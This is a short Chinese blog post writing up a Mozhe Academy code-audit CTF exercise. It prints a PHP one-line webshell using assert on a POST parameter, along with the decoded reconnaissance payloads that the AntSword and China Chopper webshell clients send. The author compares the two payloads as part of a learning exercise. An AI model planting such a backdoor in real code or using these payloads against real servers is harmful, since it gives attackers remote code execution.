美文网首页
墨者学院_代码审计1

墨者学院_代码审计1

作者: HOtMI1k | 来源:发表于2019-02-26 20:11 被阅读0次

墨者学院的代码审计:

解题思路就不说了,这里推荐先知社区
这里整理一下在做题其中遇到的问题

第一题:
一句话木马,效果相当于这样

<?php assert($_POST['1']);?>

一开始用蚁剑链接的,报错,心想是不是过滤了什么。
然后直接用命令注入直接ls,cat,发现ls可以出来,cat不出来。
当时忘了用var_dump看看是被过滤了还是还是其他的什么原因。
但是用菜刀链接成功了,难道菜刀和蚁剑不是用的一套payload?
bp抓包,试一下。
蚁剑:(蚁剑用的是url编码,我解码,在格式化后的)

1 =
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "e0372";
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}  ";
if (substr($D, 0, 1) != "/") {
    foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
} else {
    $R.= "/";
}
$R.= "  ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R.= php_uname();
$R.= "  {$s}";
echo $R;;
echo "d2119";
die();

emmm..有点复杂,先不研究这个
接着看菜刀:

1=@eval�(base64_decode($_POST[action]));

&action=
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
    foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("|<-");
die();

对比一下发现,两段代码在构造php代码上基本没有区别
就是菜刀多加了一层eval
那这样的意义是什么呢
柠檬师傅的帖子
看,emmm...看不懂..先贴着

相关文章

网友评论

      本文标题:墨者学院_代码审计1

      本文链接:https://www.haomeiwen.com/subject/vdpzyqtx.html